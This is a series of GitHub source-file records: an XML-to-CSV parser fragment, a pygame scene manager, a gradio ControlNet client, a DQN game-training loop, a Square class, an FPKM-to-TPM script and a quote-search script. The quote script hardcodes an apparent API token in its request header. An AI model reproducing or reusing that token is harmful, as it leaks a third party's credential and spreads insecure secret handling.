self._terminal\n\n def add_text(self, text: str):\n self._text = text\n\n def add_associated_tag(self, context: \"Context\"):\n self._associated_tags.append(context)\n\n @property\n def terminal_children(self) -> Mapping[str, \"Context\"]:\n return self._terminal_children_by_name\n\n def row(self):\n d = {}\n c: Context = self\n while c is not None:\n path = c._path + (c._name,)\n self.aggregate_context(d, c, path)\n for t in c._associated_tags:\n path = t._path + (t._name,)\n self.aggregate_context(d, t, path)\n c = c.parent\n return d\n\n def aggregate_context(self, d, c: \"Context\", path):\n d[path + (NUM,)] = c._num\n for k, v in c._attrs.items():\n d[path + (ATTR + k,)] = v\n if c._text:\n d[path + (TEXT,)] = c._text\n\n def __repr__(self):\n return \"Context(path={}, name={}, attrs={}, text={})\".format(self._path,\n self._name,\n self._attrs,\n self._text)\n\n\nclass NoProductFlattener:\n def __init__(self, filename, short_names=False, number_cols=False):\n self._filename = filename\n self._short_names = short_names\n self._number_cols = number_cols\n\n def flatten(self, writer):\n if isinstance(self._filename, str):\n f1 = f2 = self._filename\n else:\n text = self._filename.read()\n f1 = StringIO(text)\n f2 = StringIO(text)\n\n parser = make_parser()\n columns = find_columns(f1, self._number_cols)\n header = make_header(columns, self._short_names)\n writer.writerow(header)\n\n handler = NoProductHandler(writer, columns)\n parser.setContentHandler(handler)\n parser.parse(f2)\n","repo_name":"jferard/xml2csv","sub_path":"xml2csv/sax.py","file_name":"sax.py","file_ext":"py","file_size_in_byte":6849,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72948171073","text":"from actors.pickup import Pickup\nfrom collisionHandler import Collision_Handler\nfrom sound import Sound\nfrom constants import *\nimport copy\n\n## Scene Manager Constants ##\nfrom actors.background_obj import collidable_obj\nfrom actors.exit import Exit\n# Scene bounds (all the same)\nSCENE_EDGES = {\"TOP\": UI_Y_POS, \"BOTTOM\": WINDOW_MAX_Y, \"LEFT\": 0, \"RIGHT\": WINDOW_MAX_X}\n# NOTE: Some funky math for the left/right edges, it goes wrong somewhere, but I was able to adjust it here (//2)\nEXIT_POSITIONS = {\"TOP\": Point((SCENE_EDGES[\"RIGHT\"] - SCENE_EDGES[\"LEFT\"])//2, SCENE_EDGES[\"TOP\"]), \"BOTTOM\": Point((SCENE_EDGES[\"RIGHT\"] - SCENE_EDGES[\"LEFT\"])//2, SCENE_EDGES[\"BOTTOM\"]), \"LEFT\": Point(SCENE_EDGES[\"LEFT\"], (SCENE_EDGES[\"BOTTOM\"] - SCENE_EDGES[\"TOP\"])//2 + SCENE_EDGES[\"TOP\"]), \"RIGHT\": Point(SCENE_EDGES[\"RIGHT\"], (SCENE_EDGES[\"BOTTOM\"] - SCENE_EDGES[\"TOP\"])//2 + SCENE_EDGES[\"TOP\"])}\n\n# The widths and heights for each Exit/Edge\nWALL_WIDTH = {\"TOP\": SCENE_EDGES[\"RIGHT\"] - SCENE_EDGES[\"LEFT\"], \"BOTTOM\": SCENE_EDGES[\"RIGHT\"] - SCENE_EDGES[\"LEFT\"], \"LEFT\": 0, \"RIGHT\": 0}\nWALL_HEIGHT = {\"TOP\": 0, \"BOTTOM\": 0, \"LEFT\": SCENE_EDGES[\"BOTTOM\"] - SCENE_EDGES[\"TOP\"], \"RIGHT\": SCENE_EDGES[\"BOTTOM\"] - SCENE_EDGES[\"TOP\"]}\n\n# The exits that, when collided with, move the Player to the next scene\nEXITS = {\"TOP\": Exit(\"TOP\", EXIT_POSITIONS[\"TOP\"], WALL_WIDTH[\"TOP\"], WALL_HEIGHT[\"TOP\"]), \"LEFT\": Exit(\"LEFT\", EXIT_POSITIONS[\"LEFT\"], WALL_WIDTH[\"LEFT\"], WALL_HEIGHT[\"LEFT\"]), \"RIGHT\": Exit(\"RIGHT\", EXIT_POSITIONS[\"RIGHT\"], WALL_WIDTH[\"RIGHT\"], WALL_HEIGHT[\"RIGHT\"]), \"BOTTOM\": Exit(\"BOTTOM\", EXIT_POSITIONS[\"BOTTOM\"], WALL_WIDTH[\"BOTTOM\"], WALL_HEIGHT[\"BOTTOM\"])}\n\n# Blockers are placed if there is no connection (so they can't walk off the screen)\nEXIT_BLOCKERS = {\"TOP\": collidable_obj(\"TOP_WALL\", EXIT_POSITIONS[\"TOP\"], WALL_WIDTH[\"TOP\"], WALL_HEIGHT[\"TOP\"]), \"BOTTOM\": collidable_obj(\"BOTTOM_WALL\", EXIT_POSITIONS[\"BOTTOM\"], WALL_WIDTH[\"BOTTOM\"], WALL_HEIGHT[\"BOTTOM\"]), \"LEFT\": collidable_obj(\"LEFT_WALL\", EXIT_POSITIONS[\"LEFT\"], WALL_WIDTH[\"LEFT\"], WALL_HEIGHT[\"LEFT\"]), \"RIGHT\": collidable_obj(\"RIGHT_WALL\", EXIT_POSITIONS[\"RIGHT\"], WALL_WIDTH[\"RIGHT\"], WALL_HEIGHT[\"RIGHT\"])}\n\n# Where the Player enters the next Scene\nENTRANCE_PADDING = ACTOR_WIDTH + 25\nENTRANCE_POINTS = {\"TOP\": Point(EXIT_POSITIONS[\"TOP\"].get_x(), EXIT_POSITIONS[\"TOP\"].get_y() + ENTRANCE_PADDING),\"BOTTOM\": Point(EXIT_POSITIONS[\"BOTTOM\"].get_x(), EXIT_POSITIONS[\"BOTTOM\"].get_y() - ENTRANCE_PADDING), \"LEFT\": Point(EXIT_POSITIONS[\"LEFT\"].get_x() + ENTRANCE_PADDING, EXIT_POSITIONS[\"LEFT\"].get_y()), \"RIGHT\": Point(EXIT_POSITIONS[\"RIGHT\"].get_x() - ENTRANCE_PADDING, EXIT_POSITIONS[\"RIGHT\"].get_y())}\n\n\nclass Scene_Manager():\n \"\"\"\n An object that is in charge of making sure all Actors in the current scene interact properly. \n \"\"\"\n def __init__(self, audio_service): \n # Could skip this line, and just hand it directly to the collision handler,\n # However! Could use it here to play a sound when changing scenes/entering boss scene\n # Hmm, so here it would handle music changes instead of short sound bits\n self._audio_service = audio_service \n self._music = Sound(\"crab_rave.mp3\")\n self._boss_music = Sound(\"WindowsXPErrorRemix.mp3\")\n self._game_over_sound = Sound(\"over.wav\")\n self._game_start_sound = Sound(\"start.wav\")\n self._current_music = copy.copy(self._music)\n\n # Could make player it's own object to simplify the reset of colliding actors, enemies, and object lists?\n #self._player = None\n self._HUD = []\n self._win = False\n\n self._added_number = 0\n\n # Player enters from nowhere, spawns in Spawn Scene\n self._player_entrance = None\n\n # Colliders can include things like rocks/walls, barrels, etc <-- Another new class or just a Collision Actor with no movement (Collision Actor's Move method is just 'pass' then Enemy and Player would override Move)\n self._colliding_actors = []\n\n # These items are added to the colliding actors list, but have their own lists for specific functions\n self._enemies = []\n self._objects = []\n\n # Background objects, without colliders\n self._bg_objects = []\n self._foreground_objects = []\n\n # Currently only being used for Game Over\n # If there are more buttons, add to the list? Not very maintainable here..\n # Maybe have differnt lists of buttons? (self._replay_buttons, and self._UI_buttons?)\n self._messages = []\n self._REPLAY_BUTTON_NAMES = [\"PLAY_AGAIN\", \"EXIT\"] # For iterating through the dictionary\n self._buttons = {} \n \n # Scene Loading\n self._current_scene = None\n self._scene_loaded = False\n self._exits = EXITS\n\n # NOTE: These items could be in the Scene object, but then the Scene Manager goes\n # self._current_scene.exit(\"TOP\") --> returned a new Scene to load (or False if no connection there)\n # The Scenes connected to the current scene \n self._scene_connections = {\"TOP\": None, \"LEFT\": None, \"RIGHT\": None, \"BOTTOM\": None}\n\n self._collision_handler = Collision_Handler(self._audio_service)\n\n\n## MUSIC HANDLING ##\n def music_loop(self):\n \"\"\"\n Very lazy rn, but I just want to play Crab Rave\n \"\"\"\n # If no sounds are playing (the music has ended)\n #if self._audio_service.is_sound_playing(self._music) < 1 and self._colliding_actors[0].has_key():\n # self._audio_service.play_sound(self._music)\n if (not self._audio_service.is_sound_playing(self._current_music)):\n self._audio_service.play_sound(self._current_music)\n\n def play_sound(self, sound):\n \"\"\" \n Stops the current music to play a sound\n \"\"\" \n self.stop_music()\n self._audio_service.play_sound(sound)\n\n def stop_music(self):\n \"\"\"\n Stops the current music, could change to pause as well, but eh\n \"\"\"\n self._audio_service.stop_sound(self._current_music)\n\n def change_music(self, music):\n \"\"\"\n Stops the current music, and changes to a new one.\n \"\"\"\n self.stop_music()\n self._current_music = copy.copy(music)\n\n## ADDERS AND GETTERS ##\n\n def add_player(self, new_player):\n \"\"\"\n Adds a new Player to the Cast's list of Colliders.\n Will always be the first collider (index = 0)\n Makes sure to add the score/UI as well\n \"\"\"\n self.add_collider(new_player)\n player_HUD = new_player.get_HUD()\n for counter in player_HUD:\n self.add_HUD(counter)\n\n def get_player(self):\n \"\"\"\n Returns the Player (first colliding Actor)\n \"\"\"\n return self._colliding_actors[0]\n\n def add_HUD(self, HUD_item):\n \"\"\"\n Adds a new Counter to the HUD\n \"\"\"\n self._HUD.append(HUD_item)\n\n def get_HUD(self):\n \"\"\"\n Returns the HUD items\n \"\"\"\n return self._HUD\n\n def add_collider(self, new_collider):\n \"\"\"\n Adds a new Collider to the Cast's list of Colliders\n \"\"\"\n self._colliding_actors.append(new_collider)\n\n def get_colliders(self):\n \"\"\"\n Returns the list of Colliders. For detecting collisions.\n \"\"\"\n return self._colliding_actors\n\n def add_enemy(self, enemy):\n \"\"\"\n Adds a new enemy to the loaded Scene.\n \"\"\"\n self._enemies.append(enemy)\n self.add_collider(enemy)\n\n def get_objects(self):\n return self._objects\n\n def add_bg_obj(self, actor):\n \"\"\"\n Adds an Actor to the background (non-colliding).\n \"\"\"\n self._bg_objects.append(actor)\n\n def get_bg_objects(self):\n return self._bg_objects\n\n def add_foreground_obj(self, actor):\n \"\"\"\n Adds an Actor to the foreground (non-colliding).\n \"\"\"\n self._foreground_objects.append(actor)\n\n def get_foreground_objects(self):\n return self._foreground_objects\n\n def add_message(self, new_message):\n \"\"\"\n Adds a new message to the Cast's list of Messages.\n \"\"\"\n self._messages.append(new_message)\n\n def get_messages(self):\n \"\"\"\n Returns the list of Messages.\n \"\"\"\n return self._messages\n\n def add_button(self, type, new_button):\n \"\"\"\n Adds a new button to the Cast.\n \"\"\"\n # Checks that the new_button is either \"PLAY AGAIN\" or \"EXIT\"\n assert(type == self._REPLAY_BUTTON_NAMES[0] or type == self._REPLAY_BUTTON_NAMES[1])\n self._buttons[type] = new_button\n\n def get_buttons(self):\n \"\"\"\n Returns a list of buttons if they've been added.\n \"\"\"\n button_list = []\n if len(self._buttons) > 0:\n button_list = [self._buttons[self._REPLAY_BUTTON_NAMES[0]], self._buttons[self._REPLAY_BUTTON_NAMES[1]]]\n return button_list\n\n def get_exits(self):\n \"\"\"\n DEBUG: Returns the exits so they can be printed\n \"\"\"\n return self._exits\n\n## OTHER METHODS ##\n def continue_game(self):\n \"\"\"\n Moves all Colliders and checks their status (is_alive).\n (non-moving will have \"pass\" in their move method)\n \"\"\" \n # Check if the music is still playing, keep it looping \n self.music_loop()\n\n # Move each colliding actor, but only if it is alive\n for collider in self._colliding_actors:\n # If it is not alive\n if not collider.is_alive():\n if not collider.get_name() == PLAYER_NAME:\n # Remove the actor if it is not the Player\n self._colliding_actors.remove(collider)\n #print(f\"{collider.get_name()} has died!\")\n if collider.get_name() == BOSS_NAME:\n # If the Boss has been defeated, the Player won the game\n self._win = True\n # Probably have it be victory music, and game over\n self.play_sound(self._game_start_sound)\n return False\n if collider.get_name() == BOSS_KEY_NAME + str(1) + \"_p\":\n hidden_enemies = self._current_scene.get_hidden_enemies()\n if len(hidden_enemies) > 0:\n for enemy in hidden_enemies:\n self.add_enemy(enemy)\n # \"Enemy1\" --> \"Enemy\"\n # if len(collider.get_name()) >= len(ENEMY_NAME) and collider.get_name()[:-1] == ENEMY_NAME:\n # print(\"Drop\")\n # self._objects.append(Pickup(BULLET_NAME + str(self._added_number), collider.get_point_position(), 1))\n # self._added_number += 1\n # if self._added_number > 9:\n # self._added_number = 0\n else:\n # The Player has died, and the game is over\n self._win = False\n self.play_sound(self._game_over_sound)\n return False\n collider.move()\n \n # Then check for actions, and collision\n self.check_actions()\n \n # Return if the game should continue\n return True\n\n def restart_game(self, spawn_scene):\n \"\"\"\n Restarts the game\n \"\"\"\n self._current_scene = None\n self.reset() # Reset the Scene Manager's knowledge\n self.change_music(self._music)\n self._colliding_actors[0].start_stats() # Resets the Player\n self.setup_scene(spawn_scene) # setup the Spawn Scene\n\n # Removes game_over cast members (Game Over menu)\n self.remove_game_over()\n\n def fling_player(self):\n # Flings the Player backwards\n self._collision_handler.fling_object(self._colliding_actors[0])\n\n def boss_defeated(self):\n return self._win\n\n def check_actions(self):\n \"\"\"\n Checks Player and Enemy Actions other than movement\n \"\"\"\n # Checks if the Player has shot a bullet\n new_bullet = self._colliding_actors[0].check_shoot()\n # If there is a bullet to shoot\n if not (bool(new_bullet) == False):\n self._colliding_actors.append(new_bullet)\n\n # Check if the enemies should aggro onto the Player\n for enemy in self._enemies:\n # Check if the Player is close enough to attack\n enemy.get_aggro(self._colliding_actors[0].get_point_position())\n\n def check_collisions(self):\n \"\"\"\n More like Check_exit, sees if the Player is trying to leave (by colliding with a wall/exit)\n Checks if there has been a collision between any of the colliders.\n \"\"\"\n if len(self._colliding_actors) > 1:\n # Only check for collisions if there are other colliding Actors\n exit_direction = self._collision_handler.check_exit(self._colliding_actors)\n if not(exit_direction == None):\n #print(f\"Player is trying to exit {exit_direction} to {self._scene_connections[exit_direction]}\")\n self._player_entrance = self.get_opposite_direction(exit_direction)\n return self._scene_connections[exit_direction]\n else:\n self._player_entrance = None\n # If there is no exiting\n return None\n\n def get_opposite_direction(self, direction):\n \"\"\"\n Gets the opposite direction, for figuring out\n where the Player will enter the Next Scene.\n \"\"\"\n if direction == \"TOP\":\n return \"BOTTOM\"\n elif direction == \"BOTTOM\":\n return \"TOP\"\n elif direction == \"RIGHT\":\n return \"LEFT\"\n elif direction == \"LEFT\":\n return \"RIGHT\"\n else:\n return None\n\n def setup_scene(self, scene):\n # Shouldn't be an issue, since all of this has to happen before the next GUI check\n self._scene_loaded = False\n \n # Go back to normal music if the Player exits the Boss level LOL\n if (not self._current_scene == None):\n # Exiting FROM the Boss Scene\n if self._current_scene.get_name() == \"Boss\":\n self.change_music(self._music)\n # Coming from Scene None (aka game start)\n else:\n self.play_sound(self._game_start_sound)\n\n #print(f\"Player will enter {scene.get_name()} from {self._player_entrance}\")\n self.reset()\n\n # Move to the next scene\n self._current_scene = scene\n \n # If ENTERING the Boss Scene, and the Boss hasn't been defeated\n if self._current_scene.get_name() == \"Boss\" and (not self.boss_defeated()):\n self.change_music(self._boss_music)\n\n # For every direction,\n for direction in DIRECTIONS:\n # Get the connections for the new scene\n self._scene_connections[direction] = self._current_scene.get_connection(direction)\n # If there isn't a connection, put a blocker instead\n if self._scene_connections[direction] == None:\n self._colliding_actors.append(EXIT_BLOCKERS[direction])\n else: \n self._colliding_actors.append(self._exits[direction])\n\n # Put the Player where they entered in,\n if (self._player_entrance == None):\n # UNLESS the game just started, begins at the Spaceship\n #self._colliding_actors[0].respawn()\n self._colliding_actors[0].set_position(copy.copy(PLAYER_SPAWN))\n else:\n self._colliding_actors[0].set_position(copy.copy(ENTRANCE_POINTS[self._player_entrance]))\n\n # Get all the objecs from the new Scene\n new_enemies = self._current_scene.get_enemies()\n new_objects = self._current_scene.get_objects()\n new_bg_objects = self._current_scene.get_bg_objects()\n new_fore_objects = self._current_scene.get_fore_objects()\n\n # Make sure dead objects aren't added \n # (Actors remember if they have already been defeated)\n for enemy in new_enemies:\n if enemy.is_alive():\n self.add_enemy(enemy)\n for object in new_objects:\n if object.is_alive():\n self.add_collider(object)\n\n # Add bg_objects (spaceship, etc)\n for bg_object in new_bg_objects:\n self.add_bg_obj(bg_object)\n\n # Add foreground objects (overhanging rocks, etc)\n for fore_object in new_fore_objects:\n self.add_foreground_obj(fore_object)\n\n self._scene_loaded = True\n\n def check_replay_buttons(self, cursor_position):\n \"\"\"\n Returns if the user has chosen to Play Again (True) or Exit (False).\n \"\"\"\n #print(f\"Cursor clicked at [{cursor_position.get_x()}, {cursor_position.get_y()}]\")\n # If the Play Again button has been clicked.\n if self._buttons[self._REPLAY_BUTTON_NAMES[0]].pressed(cursor_position):\n return True\n # Else if the Exit button has been clicked.\n elif self._buttons[self._REPLAY_BUTTON_NAMES[1]].pressed(cursor_position):\n return False\n # The user clicked elsewhere on the screen.\n else:\n # No choice was made.\n return None\n\n def remove_game_over(self):\n \"\"\"\n Removes the Game Over Message.\n \"\"\"\n del self._messages\n self._messages = []\n self.remove_buttons()\n\n def remove_buttons(self):\n \"\"\"\n Removes the buttons from the Cast.\n \"\"\"\n del self._buttons\n self._buttons = {}\n\n def reset(self):\n \"\"\"\n Reset all Scene knowledge that the Scene Manager has\n Keeps Player and HUD data\n \"\"\"\n # Reset the Scene and the win condition\n self._current_scene = None\n self._win = False\n \n # Clear the connections dictionary\n del self._scene_connections\n self._scene_connections = {}\n\n player = copy.copy(self._colliding_actors[0])\n \n # NOTE: not sure if del/delete does anything in python?\n # Delete the colliders list, and restart with only the Player\n del self._colliding_actors\n self._colliding_actors = []\n self._colliding_actors.append(player)\n\n # Delete every other list, except HUD\n del self._enemies\n self._enemies = []\n del self._objects\n self._objects = []\n del self._bg_objects\n self._bg_objects = []\n del self._foreground_objects\n self._foreground_objects = []","repo_name":"Galaticash/CSE210-11","sub_path":"scene_manager.py","file_name":"scene_manager.py","file_ext":"py","file_size_in_byte":18897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13083532198","text":"from gradio_client import Client\n\nclient = Client(\"https://6850-34-83-211-102.ngrok-free.app/\")\nresult = client.predict(\n \"Lineart_Anime\", # str in 'Preprocessor' Radio component\n \"anime3.jpg\", #IMG_8298.JPG, 证件照.jpg\n \"one girl, in classroom, white skirt, uniform, black hair, bag, blue eyes\", # str in 'Prompt' Textbox component\n \"masterpiece, best quality, ultra-detailed, illustration, disheveled hair\", # str in 'Added Prompt' Textbox component\n \"longbody, lowres, bad anatomy, bad hands, missing fingers, pubic hair,extra digit, fewer digits, cropped, worst quality, low quality\", # str in 'Negative Prompt' Textbox component\n 1, # int | float (numeric value between 1 and 12) in 'Images' Slider component\n 512, # int | float (numeric value between 256 and 768) in 'Image Resolution' Slider component\n 512, # int | float (numeric value between 128 and 1024) in 'Preprocessor Resolution' Slider component\n 20, # int | float (numeric value between 1 and 100) in 'Steps' Slider component\n 1, # int | float (numeric value between 0.0 and 2.0) in 'Control Strength' Slider component\n 9, # int | float (numeric value between 0.1 and 30.0) in 'Guidance Scale' Slider component\n 12345, # int | float (numeric value between -1 and 2147483647) in 'Seed' Slider component\n 1, # int | float (numeric value between 0.0 and 1.0) in 'DDIM ETA' Slider component\n fn_index=0\n)\nprint(result)\n","repo_name":"glt3953/AI-Study","sub_path":"ControlNet/gradio_controlnet_lineart_anime.py","file_name":"gradio_controlnet_lineart_anime.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"1687096962","text":"from tqdm import tqdm\nimport numpy as np\nimport time\nimport cv2.cv2 as cv2\nimport os\nfrom .agent import DQNAgent\nimport tensorflow as tf\nfrom time import sleep\nfrom collections import deque\n\n#MODEL_NAME = 'new_model'\n\n# Number of training episodes\nEPISODES = 20000\n\n# Stats settings\nAGGREGATE_STATS_EVERY = 20 # episodes\nMIN_EPSILON = 0.001\nINITIAL_EPSILON = 0.1\nSAVE_MODEL_EVERY = 200\n\nclass Broker:\n\n def __init__(self, env, model_name, pickle_replay_mem=True, show_preview=False,train=True,log_data=True, **kwargs):\n\n # Openai-gym environment\n self.env = env\n\n # Set model name\n self.model_name = model_name\n\n # Whether or not to show preview\n self.show_preview = show_preview\n\n # Whether or not to log data\n self.log_data = log_data\n\n # Whether or not to train\n self.train_model = train\n\n # Whether or not we should pickle the replay memory\n self.pickle_replay_mem = pickle_replay_mem\n\n # DQN Agent\n self.agent = DQNAgent(self.env.observation_shape,self.env.action_space.n,model_name,log_data=log_data,**kwargs)\n\n # If we have 3 actions, then duck is allowed\n # Otherwise it isn't\n self.duck = (self.env.action_space.n == 3)\n\n # Define a different model path if duck is allowed or not\n #model_sub_folder = 'duck' if self.duck else 'no_duck'\n self.model_folder = 'models'\n\n # Decaying variable used for exploration-exploitation\n self.epsilon = INITIAL_EPSILON\n\n # Predefine epsilon values\n self.epsilon_values = np.linspace(INITIAL_EPSILON, MIN_EPSILON, EPISODES)\n\n # Lists to hold accuracies and losses of episodes for aggregate stats\n self.losses = []\n self.accuracies = []\n\n # Episode rewards\n self.ep_rewards = []\n\n def render_env(self):\n\n # Fetch image from environment\n frame = self.env.render(mode='rgb_array')\n\n # Construct RGB image for imshow\n img = np.zeros((frame.shape[0], frame.shape[1], 3))\n img[:, :, 0] = frame[:, :, 0] / 255.0\n img[:, :, 1] = frame[:, :, 0] / 255.0\n img[:, :, 2] = frame[:, :, 0] / 255.0\n\n # Show the image\n cv2.imshow(\"Playback\", img)\n cv2.waitKey(1)\n\n\n\n def train(self):\n\n # Iterate over episodes showing a progress bar\n for episode in tqdm(range(self.agent.starting_episode, EPISODES + 1), ascii=True, unit='episodes'):\n\n\n # Restarting episode - reset step number\n step = 1\n\n # Reset environment and get initial state\n current_state = np.array(self.env.reset())\n\n # In the first episode, print the shape of the state\n if episode == 1:\n print(\"State shape: \",current_state.shape)\n\n # Reset flag and start iterating until episode ends\n done = False\n while not done:\n\n # Select new action using an epsilon greedy policy\n if not self.train_model or np.random.random() > self.epsilon:\n\n # Get action from Q table (exploitation)\n action = np.argmax(self.agent.get_qs(current_state))\n else:\n # Get random action from action space (exploration)\n action = np.random.randint(0, self.env.action_space.n)\n\n # Execute action in the environment and fetch state\n new_state, reward, done, info = self.env.step(action)\n new_state = np.array(new_state)\n\n #If preview is enabled, show the environment every now and then\n if self.show_preview and not episode % AGGREGATE_STATS_EVERY:\n self.render_env()\n\n # Update replay memory and perform a training step\n self.agent.update_replay_memory((current_state, action, reward, new_state, done))\n accuracy, loss = 1,0\n if self.train_model:\n accuracy, loss = self.agent.train_step(done)\n else:\n # Small delay when we are evaluating\n if self.duck:\n sleep(0.031)\n pass\n\n # Append accuracies and losses to global stats\n self.accuracies.append(accuracy)\n self.losses.append(loss)\n\n current_state = new_state\n step += 1\n\n if self.show_preview and not episode % AGGREGATE_STATS_EVERY:\n cv2.destroyWindow('Playback')\n\n # Append episode reward to a list and log stats (every given number of episodes)\n score = self.env.get_score()\n self.ep_rewards.append(score)\n\n if not episode % AGGREGATE_STATS_EVERY:\n\n # Aggregate statistics from last episodes\n average_reward = sum(self.ep_rewards[-AGGREGATE_STATS_EVERY:])/len(self.ep_rewards[-AGGREGATE_STATS_EVERY:])\n min_reward = min(self.ep_rewards[-AGGREGATE_STATS_EVERY:])\n max_reward = max(self.ep_rewards[-AGGREGATE_STATS_EVERY:])\n avg_loss = sum(self.losses[-AGGREGATE_STATS_EVERY:])/len(self.losses[-AGGREGATE_STATS_EVERY:])\n avg_accuracy = sum(self.accuracies[-AGGREGATE_STATS_EVERY:])/len(self.accuracies[-AGGREGATE_STATS_EVERY:])\n\n # Log aggregate stats\n if self.agent.logger and self.log_data:\n with self.agent.logger.as_default():\n tf.summary.scalar('avg_reward',average_reward,step=episode)\n tf.summary.scalar('min_reward', min_reward, step=episode)\n tf.summary.scalar('max_reward', max_reward, step=episode)\n tf.summary.scalar('epsilon', self.epsilon, step=episode)\n tf.summary.scalar('loss',avg_loss, step=episode)\n tf.summary.scalar('accuracy', avg_accuracy, step=episode)\n print(f\"Min is {min_reward}, max is {max_reward}, avg is {average_reward}\")\n\n # Save model every SAVE_MODEL_EVERY iterations\n if episode % SAVE_MODEL_EVERY == 0 and self.train_model:\n\n # Create the model name and path based on stats\n model_name = f'{self.model_name}__{episode}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg__{int(time.time())}'\n model_path = os.path.join(self.model_folder,model_name)\n self.agent.policy_model.save(model_path)\n\n # Save replay memory to pickle if needed\n if self.pickle_replay_mem:\n self.agent.pickle_data(os.path.join(model_path,'replay_mem.pickle'),self.agent.replay_memory)\n\n # Decay epsilon\n self.epsilon = self.epsilon_values[episode-1]","repo_name":"margaeor/dino-dqn","sub_path":"dino_dqn/dqn_agent/broker.py","file_name":"broker.py","file_ext":"py","file_size_in_byte":6902,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"28327068112","text":"#!/usr/bin/python3\r\n\"\"\"\r\nthis module defines a Square class\r\n\"\"\"\r\n\r\n\r\nclass Square:\r\n \"\"\"\r\n this is the class that is based on the one before, they are all squares.\r\n \"\"\"\r\n def __init__(self, size=0):\r\n \"\"\"\r\n initialises size and checks if size is above 0 and if size is an int\r\n :param size:\r\n \"\"\"\r\n if not isinstance(size, int):\r\n raise TypeError(\"size must be an integer\")\r\n if size < 0:\r\n raise ValueError(\"size must be >= 0\")\r\n\r\n self.__size = size\r\n","repo_name":"Thapelo-ST/alx-higher_level_programming","sub_path":"0x06-python-classes/2-square.py","file_name":"2-square.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73509339714","text":"\"\"\"\nGarcia, Juan Manuel\nConvert FPKM to TPM \nBased on equations explained in https://arxiv.org/pdf/1104.3889.pdf\n\n\"\"\"\n\n\n## Functions \ndef getTPM(filepath, filename,folder,count_file): \n data=pd.read_table(filepath)\n count_data=pd.read_table(count_file,header=None,sep=\"\\t\",names=['tracking_id','count'])\n data[\"longueur\"]=[int(re.search('[A-Za-z|0-9]*:([0-9]*)-([0-9]*)',str(x)).group(2)) - int(re.search('[A-Za-z|0-9]*:([0-9]*)-([0-9]*)',str(x)).group(1))+1 for x in data[\"locus\"]]\n count_data=pd.merge(data,count_data,on=\"tracking_id\")\n count_data[\"Norm\"]=count_data[\"count\"]/count_data[\"longueur\"]\n sum_norm=count_data.sum()[\"Norm\"]\n count_data[\"TPM\"]=(count_data[\"Norm\"]/sum_norm)*10**6\n TPM_data=pd.DataFrame(data={\"tracking_id\": count_data[\"tracking_id\"], \"TPM\": count_data[\"TPM\"]})\n header=filename.split(\".\")[0]\n path=filepath.rsplit(\"/\",2)[1]\n TPM_data.to_csv(folder+\"/\"+path+\"/\"+header+\"_TPM.csv\",mode=\"w\",index=False)\n #TPM_data.to_csv\n\n## MAIN\n\n\nimport argparse\nimport pandas as pd \nimport numpy as np\nimport os \nimport re\n\n# parser=argparse.ArgumentParser(prog='TPM calculator', description='This script extracts the TPM values from a tab-delimited file based on FPKM values') \n\n# parser.add_argument('-d', action='store', dest='pathdir', type=str, help='Path to directory where gene and isoform measurements are stored in one folder per each sample')\n# args=parser.parse_args()\n\ndirpath=\"Conc/fpkm/\"\n\nnew_direc=dirpath.split(\"/\")[0]+\"/tpm\"\nprint(new_direc)\nif os.path.isdir(new_direc)==False: \n os.makedirs(new_direc)\nfor root,dirs,files in os.walk(dirpath): \n for direc in dirs: \n if os.path.isdir(new_direc+\"/\"+direc)==False: \n os.makedirs(new_direc+\"/\"+direc)\n if (root[len(dirpath):].count(os.sep)<3 and root[len(dirpath):]!=\"\"):\n print(root[len(dirpath):])\n count_filename=root[len(dirpath):].replace(\"FPKM_\",\"readCount-\") \n count_file=dirpath.split(\"/\")[0]+\"/readCount/\"+count_filename+\".txt\" \n print(count_file)\n for f in files: \n if (f==\"genes.fpkm_tracking\"): \n filepath=os.path.join(root,f)\n getTPM(filepath,f,new_direc,count_file)\n\n#getTPM(\"resultsConcombre/fpkm/FPKM_5012_CCGCGGTT-AGCGCTAG-BHKJVVDSXX_L003/genes.fpkm_tracking\",\"genes.fpkm_tracking\",\"resultsConcombre/tpm\",\"resultsConcombre/readCount/readCount-5012_CCGCGGTT-AGCGCTAG-BHKJVVDSXX_L003.txt\")\n","repo_name":"jumagari14/Stage_M2","sub_path":"RNASeq_scripts/count_to_tpm.py","file_name":"count_to_tpm.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4372211918","text":"import requests\nimport json\nimport pprint\n\"\"\"Version 1: Get a random quote, parse the JSON in the response into a python dictionary, and show the quote and the author. \"\"\"\n#response = requests.get('https://favqs.com/api/qotd', headers= {'Content-Type': 'application/json'})\n# results = response.json()\n# response = requests.get('https://favqs.com/api/qotd', params={'format': 'json'}) #gtg\n# print(response.text) #gtg\n# data = response.json() #gtg\n# #data = json.loads(response.text) #must use import json for this to work\n# print(data['quote']['body']) #gtg\n# print(data['quote']['author']) #gtg\n\n\"\"\"Version 2: Prompt the user for a keyword, list the quotes you get in response, and prompt the user to either show the next page or enter a new keyword.\"\"\"\nkeyword = input(\"Enter a keyword to search for quotes: \")\nprint(f'25 quotes associated with {keyword}')\nkw_response = requests.get(f'https://favqs.com/api/quotes?filter=+{keyword}', params={'format': 'json'}, headers = {'Authorization': 'Token token=\"855df50978dc9afd6bf86579913c9f8b\"'})\nkw_quotes = kw_response.json()\nquotes_list = kw_quotes['quotes'] #extracting the quotes dictionary from the json response\nfor quote in quotes_list:\n author = quote['author']\n body = quote['body']\n print(body, author)\ndef get_quote():\n for quote in quotes_list:\n author = quote['author']\n body = quote['body']\n return body, author\n#pprint.pprint(quotes_list)\n#pprint.pprint(kw_quotes) #green is class, yellow is method\n\nwhile True:\n decision = input(\"Enter 'next page' to see more quotes, 'done' to select a new search term, or exit to exit \")\n if decision == 'exit':\n print('Thanks for visiting')\n break\n elif decision == 'done':\n keyword = input(\"Enter a keyword to search for quotes: \")\n for quote in quotes_list:\n author = quote['author']\n body = quote['body']\n print(body, author)\n 